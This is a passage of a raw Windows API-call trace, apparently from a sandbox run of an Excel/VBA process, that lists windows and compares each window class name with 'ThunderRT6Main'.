lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0178.596] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0178.596] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0178.596] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0178.596] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0178.596] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.596] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0178.596] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0178.596] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0178.596] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0178.597] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0178.597] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.597] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.597] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0178.597] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0178.597] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0178.597] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0178.597] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0178.597] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0178.597] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0178.597] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0178.597] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0178.597] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0178.597] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0178.597] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0178.597] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0178.597] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0178.597] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0178.597] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0178.597] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0178.597] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0178.597] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0178.597] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0178.597] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.597] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0178.597] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0178.597] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0178.597] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0178.597] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0178.598] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0178.598] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0178.598] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.598] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0178.598] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.598] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.598] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.598] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0178.598] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.598] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.598] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.598] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0178.598] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0178.598] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0178.598] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0178.598] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0178.598] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.598] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.598] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0178.598] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0178.598] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0178.598] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0178.598] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.598] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0178.598] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0178.598] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0178.598] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0178.598] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0178.599] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.599] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.599] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0178.599] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0178.599] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0178.599] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0178.599] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.599] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0178.599] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0178.599] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0178.599] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0178.599] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0178.599] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0178.599] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0178.599] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0178.599] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0178.599] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.599] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.599] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0178.599] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0178.599] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0178.599] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0178.599] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0178.599] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0178.600] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.600] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.600] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0178.600] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0178.600] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0178.600] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0178.600] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0178.600] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0178.600] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0178.600] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0178.600] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0178.600] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0178.600] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0178.600] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0178.663] GetCurrentThreadId () returned 0xbdc [0178.663] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0178.663] GetDesktopWindow () returned 0x10010 [0178.663] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0178.663] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.663] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.663] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.663] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0178.663] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.664] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.664] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.664] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0178.664] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.664] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.664] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.664] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0178.664] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0178.664] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0178.664] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0178.664] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0178.664] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.664] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.664] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0178.664] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0178.664] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0178.664] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0178.664] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0178.664] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0178.664] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.664] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.664] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.664] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0178.664] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.664] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.664] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.664] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0178.664] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.664] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.664] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.665] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0178.665] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.665] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.665] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.665] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0178.665] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.665] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.665] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.665] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0178.665] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.665] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.665] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.665] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0178.665] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.665] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.665] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.665] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0178.665] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0178.665] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0178.665] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.665] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0178.665] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.665] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.665] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.665] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0178.665] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0178.665] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0178.665] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.665] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0178.665] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0178.665] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0178.666] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.666] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0178.666] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.666] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.666] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0178.666] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0178.666] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.666] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.666] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.666] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0178.666] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0178.666] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0178.666] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.666] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0178.666] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0178.666] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0178.666] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.666] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0178.666] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0178.666] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0178.666] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0178.666] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.666] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.666] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.666] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0178.666] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0178.666] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0178.666] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0178.666] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0178.666] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0178.666] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.666] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0178.666] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0178.666] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0178.667] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0178.667] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0178.667] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0178.667] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.667] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0178.667] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0178.667] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0178.667] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0178.667] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0178.667] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0178.667] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0178.667] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0178.667] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.667] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.667] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0178.667] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0178.667] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0178.667] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0178.667] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.667] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0178.667] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0178.667] IsWindowEnabled (hWnd=0x20360) returned 1 [0178.667] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0178.667] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0178.667] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0178.667] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0178.667] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0178.667] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0178.667] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.667] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0178.667] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0178.667] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0178.668] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0178.668] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0178.668] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0178.668] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0178.668] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0178.668] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.668] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0178.668] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0178.668] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0178.668] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0178.668] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0178.668] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0178.668] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.668] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0178.668] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0178.668] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0178.668] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0178.668] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0178.668] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0178.668] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.668] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0178.668] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0178.668] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0178.669] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0178.669] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0178.669] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.669] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0178.669] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0178.669] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0178.671] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 